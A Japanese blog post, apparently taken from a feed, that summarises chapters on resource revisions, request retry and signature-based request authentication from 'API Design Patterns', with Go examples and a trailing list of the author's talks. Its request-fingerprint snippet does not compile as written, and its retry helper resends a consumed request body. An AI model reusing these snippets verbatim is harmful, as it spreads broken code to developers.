リビジョン可能なリソースが子リソースを持つ場合の取り扱いについても議論しています。子リソースをリビジョンに含めるかどうかは、システムの要件やパフォーマンスの考慮事項に応じて決定する必要があります。これらの原則を適用した、Golangでのリソースリビジョンの実装例を以下に示します。type Resource struct { ID string `json:\"id\"` Content string `json:\"content\"` RevisionID string `json:\"revisionId\"` RevisionCreateTime time.Time `json:\"revisionCreateTime\"`}type ResourceService interface { GetResource(ctx context.Context, id string, revisionID string) (*Resource, error) ListResourceRevisions(ctx context.Context, id string) ([]*Resource, error) CreateResourceRevision(ctx context.Context, id string) (*Resource, error) RestoreResourceRevision(ctx context.Context, id string, revisionID string) (*Resource, error)}func (s *resourceService) CreateResourceRevision(ctx context.Context, id string) (*Resource, error) { resource, err := s.getLatestResource(ctx, id) if err != nil { return nil, err } newRevision := &Resource{ ID: resource.ID, Content: resource.Content, RevisionID: generateUUID(), RevisionCreateTime: time.Now(), } if err := s.saveRevision(ctx, newRevision); err != nil { return nil, err } return newRevision, nil}この実装例では、Resource構造体にリビジョン関連のフィールドを追加し、ResourceServiceインターフェースでリビジョン管理に関連するメソッドを定義しています。CreateResourceRevisionメソッドは、新しいリビジョンを作成し、保存する処理を示しています。リソースリビジョンの影響とトレードオフ著者は、リソースリビジョンの導入がシステム全体に与える影響とトレードオフについても詳細に論じています。ストレージ使用量の増加: リビジョンを保存することで、ストレージの使用量が大幅に増加します。特に、頻繁に変更されるリソースや大規模なリソースの場合、この影響は無視できません。パフォーマンスへの影響: リビジョンの作成や取得には追加のオーバーヘッドが発生します。特に、大量のリビジョンが存在する場合、リビジョンの一覧表示や特定のリビジョンの取得に時間がかかる可能性があります。複雑性の増加: リビジョン管理機能の追加により、APIの複雑性が増加します。これは、開発者の学習曲線を急にし、バグの可能性を増やす可能性があります。一貫性の課題: 特に分散システムにおいて、リビジョンの一貫性を維持することは難しい場合があります。例えば、複数のサービスにまたがるリソースの場合、全体的な一貫性を確保するのが困難になる可能性があります。リビジョン管理のオーバーヘッド: リビジョンの保持期間、古いリビジョンの削除ポリシー、リビジョン数の制限など、追加的な管理タスクが発生します。これらのトレードオフを適切に管理することが、リソースリビジョンの成功的な実装の鍵となります。例えば、ストレージ使用量の増加に対しては、圧縮技術の使用や、重要でないリビジョンの定期的な削除などの戦略が考えられます。パフォーマンスへの影響に関しては、効率的なインデックス設計や、必要に応じてキャッシュを活用することで軽減できる可能性があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。監査とコンプライアンス: リソースリビジョンは、変更履歴の追跡が必要な規制環境(金融サービス、医療情報システムなど)で特に重要です。変更の誰が、いつ、何をしたかを正確に記録し、必要に応じて過去の状態を再現できることは、コンプライアンス要件を満たす上で不可欠です。障害復旧とロールバック: リビジョン管理は、システム障害や人為的ミスからの復旧を容易にします。特定の時点の状態に戻すことができるため、データの損失やシステムの不整合を最小限に抑えることができます。分散システムでの一貫性: マイクロサービスアーキテクチャにおいて、リソースリビジョンは分散システム全体の一貫性を維持する上で重要な役割を果たします。例えば、複数のサービスにまたがるトランザクションを、各サービスのリソースリビジョンを用いて追跡し、必要に応じて補償トランザクションを実行することができます。A/Bテストと段階的ロールアウト: リビジョン管理機能は、新機能の段階的なロールアウトやA/Bテストの実施を容易にします。特定のユーザーグループに対して特定のリビジョンを提供することで、変更の影響を慎重に評価できます。パフォーマンス最適化: リビジョン管理の実装には、効率的なデータ構造とアルゴリズムの選択が重要です。例えば、差分ベースのストレージを使用して、リビジョン間の変更のみを保存することで、ストレージ使用量を最適化できます。セキュリティとアクセス制御: リビジョン管理を導入する際は、各リビジョンへのアクセス制御を適切に設計する必要があります。特に、機密情報を含むリビジョンへのアクセスを制限し、監査ログを維持することが重要です。APIの進化とバージョニング: リソースリビジョンの概念は、APIそのもののバージョニング戦略と関連付けて考えることができます。APIの各バージョンを、特定の時点でのリソース定義のリビジョンとして扱うことで、APIの進化をより体系的に管理できる可能性があります。リソースリビジョンとシステムアーキテクチャリソースリビジョンの設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: リビジョン管理をサポートするために、データベーススキーマの設計を適切に行う必要があります。例えば、メインのリソーステーブルとは別にリビジョンテーブルを作成し、効率的にクエリできるようにインデックスを設計することが重要です。キャッシュ戦略: リビジョン管理は、キャッシュ戦略に影響を与えます。特定のリビジョンをキャッシュする場合、キャッシュの有効期限や更新戦略を慎重に設計する必要があります。イベントソーシングとCQRS: リソースリビジョンの概念は、イベントソーシングやCQRS(Command Query Responsibility Segregation)パターンと親和性が高いです。これらのパターンを組み合わせることで、より柔軟で拡張性の高いシステムを構築できる可能性があります。バックアップと災害復旧: リビジョン管理機能は、バックアップと災害復旧戦略に組み込むことができます。特定の時点のシステム全体の状態を、各リソースの適切なリビジョンを用いて再構築することが可能になります。マイクロサービス間の整合性: 複数のマイクロサービスにまたがるリソースの場合、リビジョン管理を通じてサービス間の整合性を維持することができます。例えば、分散トランザクションの代わりに、各サービスのリソースリビジョンを用いた補償トランザクションを実装することが考えられます。結論第28章「Resource revisions」は、APIにおけるリソースリビジョン管理の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、データの整合性、そして全体的なシステムの運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リソースリビジョンは、変更履歴の追跡、過去の状態の参照、誤った変更のロールバックを可能にする強力な機能です。リビジョン管理の実装には、リビジョン識別子の設計、リビジョン作成戦略の選択、リビジョンの取得と一覧表示、復元機能の実装など、多くの考慮事項があります。リソースリビジョンの導入には、ストレージ使用量の増加、パフォーマンスへの影響、複雑性の増加などのトレードオフがあります。これらを適切に管理することが重要です。リビジョン管理は、監査とコンプライアンス、障害復旧とロールバック、分散システムでの一貫性維持など、多くの実践的な応用が可能です。リソースリビジョンの設計は、データモデル、キャッシュ戦略、イベントソーシング、バックアップと災害復旧など、システム全体のアーキテクチャに大きな影響を与えます。これらの原則を適切に適用することで、開発者はより柔軟で信頼性の高いAPIを設計することができます。特に、変更履歴の追跡が重要な環境や、複雑な分散システムでは、リソースリビジョンの適切な実装が極めて重要です。しかし、リソースリビジョンの導入には慎重な検討も必要です。特に、ストレージ使用量の増加、パフォーマンスへの影響、システムの複雑性の増加などの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リソースリビジョンの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリソースの変更履歴を管理するだけでなく、システム全体の一貫性、信頼性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リソースリビジョンの適切な実装は、システムの回復力を高め、データの整合性を保護し、変更管理を容易にする可能性があります。特に、マイクロサービスアーキテクチャやクラウドネイティブな環境では、この機能の重要性がより顕著になります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。リソースリビジョン管理は、単なる技術的機能を超えて、システム全体の品質と信頼性を向上させる重要な要素となります。適切に実装されたリビジョン管理システムは、変更の追跡、問題の診断、そして迅速な復旧を可能にし、結果としてシステムの運用性と信頼性を大きく向上させます。さらに、この機能は、コンプライアンス要件の遵守、データガバナンスの強化、そして長期的なシステム進化の管理にも貢献します。API設計者とシステムアーキテクトは、リソースリビジョン管理の重要性を認識し、適切に実装することで、より堅牢で効率的、そして将来の変化に適応可能なシステムを構築することができます。これは、急速に変化し、常に新しい課題が生まれる現代のソフトウェア開発環境において、特に重要な価値となります。29 Request retrial\"API Design Patterns\" の第29章「Request retrial」は、API リクエストの再試行に関する重要な概念と実装方法について詳細に論じています。この章では、失敗したAPIリクエストのうち、どれを安全に再試行できるか、リトライのタイミングに関する高度な指数関数的バックオフ戦略、「雪崩現象」を回避する方法、そしてAPIがクライアントにリトライのタイミングを指示する方法について説明しています。リクエスト再試行の必要性と概要著者は、Web APIにおいてリクエストの失敗は避けられない現実であることを指摘することから議論を始めています。失敗の原因には、クライアント側のエラーや、APIサーバー側の一時的な問題など、様々なものがあります。特に後者の場合、同じリクエストを後で再試行することで問題が解決する可能性があります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。分散システムでは、ネットワークの不安定性やサービスの一時的な障害が頻繁に発生する可能性があるため、適切な再試行メカニズムは、システム全体の信頼性と回復力を大幅に向上させる可能性があります。著者は、再試行可能なリクエストを識別し、適切なタイミングで再試行を行うための2つの主要なアプローチを提案しています。クライアント側の再試行タイミング(指数関数的バックオフ)サーバー指定の再試行タイミングこれらのアプローチは、システムの効率性を最大化しつつ、不要な再試行を最小限に抑えるという目標を達成するために設計されています。クライアント側の再試行タイミング著者は、クライアント側の再試行戦略として、指数関数的バックオフアルゴリズムを推奨しています。このアルゴリズムは、再試行の間隔を徐々に増やしていくことで、システムに過度の負荷をかけることなく、再試行の成功確率を高めます。指数関数的バックオフの基本的な実装は以下のようになります。func retryWithExponentialBackoff(operation func() error, maxRetries int) error { var err error for attempt := 0; attempt < maxRetries; attempt++ { err = operation() if err == nil { return nil } delay := time.Duration(math.Pow(2, float64(attempt))) * time.Second time.Sleep(delay) } return err}しかし、著者はこの基本的な実装にいくつかの重要な改良を加えることを提案しています。最大遅延時間の設定: 再試行の間隔が無限に長くなることを防ぐため。最大再試行回数の設定: 無限ループを防ぐため。ジッター(ランダムな遅延)の追加: 「雪崩現象」を防ぐため。これらの改良を加えた、より洗練された実装は以下のようになります。func retryWithExponentialBackoff(operation func() error, maxRetries int, maxDelay time.Duration) error { var err error for attempt := 0; attempt < maxRetries; attempt++ { err = operation() if err == nil { return nil } delay := time.Duration(math.Pow(2, float64(attempt))) * time.Second if delay > maxDelay { delay = maxDelay } jitter := time.Duration(rand.Float64() * float64(time.Second)) time.Sleep(delay + jitter) } return err}この実装は、システムの回復力を高めつつ、不必要な負荷を避けるバランスの取れたアプローチを提供します。サーバー指定の再試行タイミング著者は、APIサーバーが再試行のタイミングを明示的に指定できる場合があることを指摘しています。これは主に、サーバーが特定の情報(例:レート制限のリセットタイミング)を持っている場合に有用です。この目的のために、著者はHTTPの\"Retry-After\"ヘッダーの使用を推奨しています。このヘッダーを使用することで、サーバーは正確な再試行タイミングをクライアントに伝えることができます。func handleRateLimitedRequest(w http.ResponseWriter, r *http.Request) { if isRateLimited(r) { retryAfter := calculateRetryAfter() w.Header().Set(\"Retry-After\", strconv.Itoa(int(retryAfter.Seconds()))) w.WriteHeader(http.StatusTooManyRequests) return } // 通常の処理を続行}クライアント側では、このヘッダーを検出し、指定された時間だけ待機してからリクエストを再試行します。func sendRequestWithRetry(client *http.Client, req *http.Request) (*http.Response, error) { resp, err := client.Do(req) if err != nil { return nil, err } if resp.StatusCode == http.StatusTooManyRequests { retryAfter := resp.Header.Get(\"Retry-After\") if retryAfter != \"\" { seconds, _ := strconv.Atoi(retryAfter) time.Sleep(time.Duration(seconds) * time.Second) return sendRequestWithRetry(client, req) } } return resp, nil}この手法は、サーバーの状態や制約に基づいて、より正確で効率的な再試行戦略を実現します。再試行可能なリクエストの判断著者は、全てのエラーが再試行可能なわけではないという重要な点を強調しています。再試行可能なエラーとそうでないエラーを区別することは、効果的な再試行戦略の鍵となります。一般的に、以下のようなガイドラインが提示されています。再試行可能: 408 (Request Timeout), 429 (Too Many Requests), 503 (Service Unavailable) など。これらは一時的な問題を示唆しています。再試行不可能: 400 (Bad Request), 403 (Forbidden), 404 (Not Found) など。これらは永続的な問題を示唆しています。条件付き再試行可能: 500 (Internal Server Error), 502 (Bad Gateway), 504 (Gateway Timeout) など。これらは状況に応じて再試行可能かどうかが変わります。この区別は、システムの効率性と信頼性を維持する上で重要です。不適切な再試行は、システムリソースの無駄遣いや、意図しない副作用を引き起こす可能性があります。実践的な応用と考察この章の内容は、実際のAPI設計と運用において非常に重要です。特に以下の点が重要になります。システムの回復力: 適切な再試行メカニズムは、一時的な障害から自動的に回復するシステムの能力を大幅に向上させます。これは特に、マイクロサービスアーキテクチャのような分散システムにおいて重要です。効率的なリソース利用: 指数関数的バックオフやサーバー指定の再試行タイミングを使用することで、システムリソースを効率的に利用しつつ、再試行の成功確率を最大化できます。ユーザーエクスペリエンス: エンドユーザーの視点からは、適切な再試行メカニズムは、一時的な問題を自動的に解決し、シームレスなエクスペリエンスを提供します。運用の簡素化: 適切に設計された再試行メカニズムは、手動介入の必要性を減らし、運用タスクを簡素化します。モニタリングと可観測性: 再試行の頻度や成功率を監視することで、システムの健全性や潜在的な問題を把握するための貴重な洞察が得られます。結論第29章「Request retrial」は、APIにおけるリクエスト再試行の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、システムの信頼性、効率性、そして全体的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。全てのエラーが再試行可能なわけではありません。エラーの性質を慎重に評価し、適切に再試行可能なものを識別することが重要です。指数関数的バックオフは、効果的な再試行戦略の基礎となります。ただし、最大遅延時間、最大再試行回数、ジッターなどの改良を加えることで、より堅牢な実装が可能になります。サーバー指定の再試行タイミング(Retry-Afterヘッダー)は、特定のシナリオにおいて非常に有効です。これにより、より正確で効率的な再試行が可能になります。再試行メカニズムは、システムの回復力、効率性、ユーザーエクスペリエンス、運用性を向上させる重要なツールです。再試行の実装には、システム全体のアーキテクチャと運用プラクティスとの整合性が必要です。これらの原則を適切に適用することで、開発者はより信頼性が高く、効率的なAPIを設計することができます。特に、分散システムやクラウドネイティブ環境では、適切な再試行メカニズムの実装が極めて重要です。最後に、リクエスト再試行の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にエラーハンドリングを改善するだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト再試行の適切な実装は、システムの回復力を高め、一時的な障害の影響を最小限に抑え、全体的なユーザーエクスペリエンスを向上させる可能性があります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。30 Request authentication「API Design Patterns」の第30章「Request authentication」は、APIにおけるリクエスト認証の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエスト認証が単なるセキュリティ機能の追加ではなく、APIの信頼性、完全性、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。リクエスト認証の必要性と概要著者は、APIリクエストの認証に関する基本的な疑問から議論を始めています。「与えられたインバウンドAPIリクエストが、実際に認証されたユーザーからのものであることをどのように判断できるか?」この問いに答えるために、著者は3つの重要な要件を提示しています。オリジン(Origin): リクエストが主張する送信元から本当に来たものかどうかを確認する能力。完全性(Integrity): リクエストの内容が送信後に改ざんされていないことを確認する能力。否認防止(Non-repudiation): 送信者が後からリクエストの送信を否定できないようにする能力。これらの要件は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。分散システムでは、サービス間の通信の信頼性と完全性を確保することが不可欠であり、これらの要件を満たすことで、システム全体のセキュリティと信頼性が大幅に向上します。著者は、これらの要件を満たすソリューションとして、デジタル署名の使用を提案しています。デジタル署名は、公開鍵暗号方式を利用した非対称な認証メカニズムで、以下の特性を持ちます。署名の生成に使用する秘密鍵と、検証に使用する公開鍵が異なる。署名はメッセージの内容に依存するため、メッセージの完全性を保証できる。秘密鍵の所有者のみが有効な署名を生成できるため、否認防止が可能。Request authenticationはそこそこに入り組んだ分野でもあるのでセキュア・バイ・デザインなどもオススメです。syu-m-5151.hatenablog.comデジタル署名の実装著者は、デジタル署名を用いたリクエスト認証の実装に関して詳細なガイダンスを提供しています。主なステップは以下の通りです。クレデンシャルの生成: ユーザーは公開鍵と秘密鍵のペアを生成します。登録とクレデンシャル交換: ユーザーは公開鍵をAPIサービスに登録し、一意の識別子を受け取ります。リクエストの署名: ユーザーは秘密鍵を使用してリクエストに署名します。署名の検証: APIサーバーは公開鍵を使用して署名を検証し、リクエストを認証します。これらのステップを実装するためのGoのコード例を以下に示します。import ( \"crypto\" \"crypto/rand\" \"crypto/rsa\" \"crypto/sha256\" \"encoding/base64\")// クレデンシャルの生成func generateCredentials() (*rsa.PrivateKey, error) { return rsa.GenerateKey(rand.Reader, 2048)}// リクエストの署名func signRequest(privateKey *rsa.PrivateKey, request []byte) ([]byte, error) { hashed := sha256.Sum256(request) return rsa.SignPKCS1v15(rand.Reader, privateKey, crypto.SHA256, hashed[:])}// 署名の検証func verifySignature(publicKey *rsa.PublicKey, request []byte, signature []byte) error { hashed := sha256.Sum256(request) return rsa.VerifyPKCS1v15(publicKey, crypto.SHA256, hashed[:], signature)}この実装例では、RSA暗号化を使用してクレデンシャルの生成、リクエストの署名、署名の検証を行っています。実際の運用環境では、これらの基本的な関数をより堅牢なエラーハンドリングとロギングメカニズムで包む必要があります。リクエストのフィンガープリンティング著者は、リクエスト全体を署名するのではなく、リクエストの「フィンガープリント」を生成して署名することを提案しています。このフィンガープリントには以下の要素が含まれます。HTTPメソッドリクエストのパスホストリクエストボディのダイジェスト日付これらの要素を組み合わせることで、リクエストの本質的な部分を捉えつつ、署名対象のデータサイズを抑えることができます。以下に、フィンガープリントの生成例を示します。import ( \"crypto/sha256\" \"fmt\" \"net/http\" \"strings\" \"time\")func generateFingerprint(r *http.Request) string { bodyDigest := sha256.Sum256([]byte(r.Body)) elements := []string{ fmt.Sprintf(\"(request-target): %s %s\", strings.ToLower(r.Method), r.URL.Path), fmt.Sprintf(\"host: %s\", r.Host), fmt.Sprintf(\"date: %s\", time.Now().UTC().Format(http.TimeFormat)), fmt.Sprintf(\"digest: SHA-256=%s\", base64.StdEncoding.EncodeToString(bodyDigest[:])), } return strings.Join(elements, \"\\n\")}このアプローチにより、リクエストの重要な部分を効率的に署名できるようになります。実践的な応用と考察この章の内容は、実際のAPI設計と運用において非常に重要です。特に以下の点が重要になります。セキュリティと信頼性: デジタル署名を使用したリクエスト認証は、APIの安全性と信頼性を大幅に向上させます。これは特に、金融取引や医療情報など、機密性の高いデータを扱うシステムで重要です。マイクロサービスアーキテクチャでの応用: サービス間通信の認証に適用することで、マイクロサービスアーキテクチャ全体のセキュリティを強化できます。スケーラビリティの考慮: デジタル署名の検証は計算コストが高いため、大規模なシステムでは適切なキャッシング戦略やロードバランシングが必要になる可能性があります。運用上の課題: 秘密鍵の安全な管理や、公開鍵の配布・更新メカニズムの構築が必要になります。これらは、適切なシークレット管理システムやPKIインフラストラクチャの導入を検討する良い機会となります。監視とロギング: 署名の検証失敗や不正なリクエストの試行を適切に監視・ロギングすることで、システムの安全性をさらに向上させることができます。結論第30章「Request authentication」は、APIにおけるリクエスト認証の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIのセキュリティ、信頼性、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト認証は、オリジン、完全性、否認防止の3つの要件を満たす必要があります。デジタル署名は、これらの要件を満たす強力なメカニズムを提供します。リクエストのフィンガープリンティングは、効率的かつ効果的な署名方法です。この認証方式の実装には、適切なクレデンシャル管理と運用プラクティスが不可欠です。パフォーマンスとスケーラビリティのトレードオフを慎重に検討する必要があります。これらの原則を適切に適用することで、開発者はより安全で信頼性の高いAPIを設計することができます。特に、高度なセキュリティ要件を持つシステムや、複雑な分散アーキテクチャを採用している環境では、この認証方式の実装が極めて重要になります。しかし、この認証方式の導入には慎重な検討も必要です。特に、パフォーマンス、運用の複雑さ、開発者の学習曲線の観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト認証の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIのセキュリティを向上させるだけでなく、システム全体の信頼性、運用効率、そして将来の拡張性にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。デジタル署名を用いたリクエスト認証の適切な実装は、システムのセキュリティを大幅に向上させ、潜在的な脅威や攻撃から保護する強力な手段となります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。おわりに「API Design Patterns」を通じて、APIデザインの本質と普遍的な設計原則を学びました。これらの原則は、技術の変化に関わらず長期的に価値があります。本書は、APIをシステム間のコミュニケーションの重要な媒介者として捉える視点を提供しました。この知識は、API設計だけでなく、ソフトウェア開発全般に適用可能です。次の課題は、学んだ概念を実践で適用することです。技術は進化し続けますが、本書の洞察は変化の中でも指針となります。これからも学び続け、より良いシステムとソリューションを開発していきましょう。そもそも、Design Patternsは設計ではないですよね?Design Patternsは設計そのものではなく、ソフトウェア開発の共通問題に対する定型的な解決策を提供するツールキットです。これはマジでミスリードです。すみません。設計は、具体的な問題や要件に対して適切な解決策を考案し実装するプロセスです。Design Patternsを知っているだけでは、優れた設計はできません。Design Patternsの価値は、共通の語彙と概念的フレームワークを提供することです。これにより、開発者間のコミュニケーションが円滑になり、問題の本質をより速く把握できます。良い設計者になるには、Design Patternsを知ることも重要ですが、それ以上に問題を深く理解し、創造的に思考し、様々な選択肢を比較検討する能力が重要です。結論として、Design Patternsは設計を支援するツールであり、設計そのものではありません。優れた設計を生み出すのは、パターンを適切に理解し、状況に応じて適用できる開発者の創造性と判断力です。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。あなたがさっきまで読んでいた技術的に役立つ記事は、10年後も使えるでしょうか?ほとんどの場合でいいえ。最初に戻る。","isoDate":"2024-08-20T10:14:35.000Z","dateMiliSeconds":1724148875000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Platform Engineering と SRE の門 ","link":"https://speakerdeck.com/nwiizo/platform-engineering-to-sre-nomen","contentSnippet":"Platform Engineering とSREの門 というタイトルで登壇しました。入門のタイポではありません。\r\rイベント名: Platform Engineering Kaigi 2024\rイベントURL:https://www.cnia.io/pek2024/\r\r登壇ブログ:『Platform Engineering とSREの門』という間違ったみたいなタイトルで登壇しました。 #PEK2024\rhttps://syu-m-5151.hatenablog.com/entry/2024/07/09/215147","isoDate":"2024-07-09T04:00:00.000Z","dateMiliSeconds":1720497600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"運用者の各領域で向き合うLLM","link":"https://speakerdeck.com/nwiizo/yun-yong-zhe-noge-ling-yu-dexiang-kihe-ullm","contentSnippet":"運用者の各領域で向き合うLLM というタイトルで登壇しました。\r\rイベント名: Cloud Operator Days Tokyo 2024 \rイベントURL:https://cloudopsdays.com/","isoDate":"2024-06-28T04:00:00.000Z","dateMiliSeconds":1719547200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"可観測性ガイダンス","link":"https://speakerdeck.com/nwiizo/ke-guan-ce-xing-kaitansu","contentSnippet":"可観測性ガイダンスというタイトルで登壇してきました。\r\rイベント名: オブザーバビリティ再入門 - 大切さと高め方を知ろう!\rイベントURL: https://mackerelio.connpass.com/event/316449/\r\r\r# ブログでいくつかの可観測性に関する書籍のまとめを投稿しました。\r5年後には標準になっている可観測性のこと - Learning Opentelemetry の読書感想文\rhttps://syu-m-5151.hatenablog.com/entry/2024/04/16/180511\r\rもう一度読むObservability Engineering\rhttps://syu-m-5151.hatenablog.com/entry/2024/05/06/090014\r\r盲目的に始めないためのオブザーバビリティ実践ガイド - Cloud Observability in Actionの読書感想文\rhttps://syu-m-5151.hatenablog.com/entry/2024/05/10/121047","isoDate":"2024-06-04T04:00:00.000Z","dateMiliSeconds":1717473600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"書を捨てよ、現場へ出よう","link":"https://speakerdeck.com/nwiizo/shu-woshe-teyo-xian-chang-hechu-you","contentSnippet":"書を捨てよ、現場へ出よう このSRE本がすごい!2024年 LT版というタイトルで登壇してきました。\r\rSREたちの廊下〜あなたの現場での悩み、あの本にヒントがあるかも〜\rhttps://findy.connpass.com/event/311323/\r\r元ブログはこちら\r\rこのSRE本がすごい!2024年版\rhttps://syu-m-5151.hatenablog.com/entry/2024/01/26/165255\r\r登壇ブログはこちら\r\r『読書とは、能力、知識ではなく 問いを獲得するための行為』みたいな内容で登壇しました。\rhttps://syu-m-5151.hatenablog.com/entry/2024/03/13/164951","isoDate":"2024-03-12T04:00:00.000Z","dateMiliSeconds":1710216000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"走馬灯のIaCは考えておいて","link":"https://speakerdeck.com/nwiizo/zou-ma-deng-noiachakao-eteoite","contentSnippet":"走馬灯のIaCは考えておいてというタイトルで登壇してきました\r\r技術的負債に向き合う Online Conference\rhttps://findy.connpass.com/event/297813/\r\r走馬灯のセトリは考えておいての短編はどれも面白いのでオススメです。\rhttps://www.hayakawa-online.co.jp/shopdetail/000000015282/\r\r登壇ブログ |『走馬灯のIaCは考えておいて』というタイトルで登壇しました。\rhttps://syu-m-5151.hatenablog.com/entry/2023/11/21/132144","isoDate":"2023-11-21T05:00:00.000Z","dateMiliSeconds":1700542800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SREとPlatform Engineerの交差点","link":"https://speakerdeck.com/nwiizo/sretoplatform-engineernojiao-chai-dian","contentSnippet":"Platform Engineering Meetup #5 #PFEM\rhttps://platformengineering.connpass.com/event/295048/ \r\rSREとPlatform Engineerの交差点: 2つの領域の交差と組織への適用 というタイトルで登壇します。\r\r登壇ブログ |『SREとPlatform Engineerの交差点:2つの領域の交差と組織への適用』というタイトルで登壇しました\rhttps://syu-m-5151.hatenablog.com/entry/2023/10/05/233555\r\rグレイラットの殺人 ワシントン・ポーが面白かったのでオススメです。\rhttps://www.hayakawa-online.co.jp/shopdetail/000000015569/","isoDate":"2023-10-05T04:00:00.000Z","dateMiliSeconds":1696478400000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SREからPlatform Engineerへの拡大","link":"https://speakerdeck.com/nwiizo/srekaraplatform-engineerhenokuo-da","contentSnippet":"SREからPlatform Engineerへの拡大 というタイトルで登壇してきました\r\rCloud Operator Days Tokyo 2023 運用の新時代 〜Effortless Operation〜\rhttps://cloudopsdays.com/\r\rクラウドインフラ運用技術者のための年次イベント「Cloud Operator Days Tokyo 2023」の見所を紹介\rhttps://cloud.watch.impress.co.jp/docs/news/1518302.html\r\rSREからPlatform Engineerへの拡大 というタイトルで登壇しました - じゃあ、おうちで学べる https://syu-m-5151.hatenablog.com/entry/2023/08/10/150412 \r\r登壇しかないので20分しかないのでギュッとしてしまいました。","isoDate":"2023-08-09T04:00:00.000Z","dateMiliSeconds":1691553600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"k8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析について","link":"https://speakerdeck.com/nwiizo/k8sgpt-deep-dive-kuberneteskurasutanoaiqu-dong-xing-fen-xi-nituite","contentSnippet":"k8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析についてというタイトルで登壇しました\r\r2023年8月3日 CloudNative Days Fukuoka 2023\rhttps://event.cloudnativedays.jp/cndf2023\r\rk8sgpt Deep Dive: KubernetesクラスタのAI駆動型分析について\rhttps://event.cloudnativedays.jp/cndf2023/talks/1885\r\rK8sGPT Deep Dive というタイトルで登壇しました #CNDF - じゃあ、おうちで学べる \rhttps://syu-m-5151.hatenablog.com/entry/2023/08/03/155326","isoDate":"2023-08-03T04:00:00.000Z","dateMiliSeconds":1691035200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Cloud Native の作法","link":"https://speakerdeck.com/nwiizo/cloud-native-nozuo-fa","contentSnippet":"2023年7月13日 \r\r成熟度モデルを活用したCloud Nativeへの道筋 という副題で登壇します #開発生産性con_findy\rhttps://syu-m-5151.hatenablog.com/entry/2023/07/13/131433\r\r\r開発生産性Conference の登壇資料\rhttps://findy.connpass.com/event/283417/","isoDate":"2023-07-13T04:00:00.000Z","dateMiliSeconds":1689220800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"2023年もSRE再考と叫びなさい‼️","link":"https://speakerdeck.com/nwiizo/2023nian-mosrezai-kao-tojiao-binasai","contentSnippet":"2023年もSRE再考と叫びなさい‼️ SREの跡を求めず SREの求めたるところを求めよ というタイトルで登壇してきました\r\r2023年3月3日 エンジニア文化祭 2023\rhttps://forkwell.connpass.com/event/272596/\r\r『2023年もSRE再考と叫びなさい!!』というタイトルで登壇しました - じゃあ、おうちで学べる\rhttps://syu-m-5151.hatenablog.com/entry/2023/03/03/105049","isoDate":"2023-03-03T05:00:00.000Z","dateMiliSeconds":1677819600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"自由研究には向かないウェブオペレーション ","link":"https://speakerdeck.com/nwiizo/zi-you-yan-jiu-nihaxiang-kanaiuebuoperesiyon","contentSnippet":"自由研究には向かないウェブオペレーション サイト運用管理を取り巻く環境の変化 Cloud Native時代に考えるLinux オペレーション というタイトルで登壇してきました。\r\r2023年2月18日\r【今更聞けない】Linuxのしくみ - Forkwell Library #16\rhttps://forkwell.connpass.com/event/273179/\r\rあとがき\r『自由研究には向かないウェブオペレーション』というタイトルで登壇しました。\rhttps://syu-m-5151.hatenablog.com/entry/2023/02/18/201252","isoDate":"2023-02-18T05:00:00.000Z","dateMiliSeconds":1676696400000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":" ポストモーテムはじめました","link":"https://speakerdeck.com/nwiizo/posutomotemuhazimemasita","contentSnippet":"ポストモーテムはじめました - 良いポストモーテムを執筆するために必要な5つのポイント というタイトルで登壇してきました。\r\r2023年02月09日\rインシデントにどう対応してきたか?みんなで学ぶポストモーテム Lunch 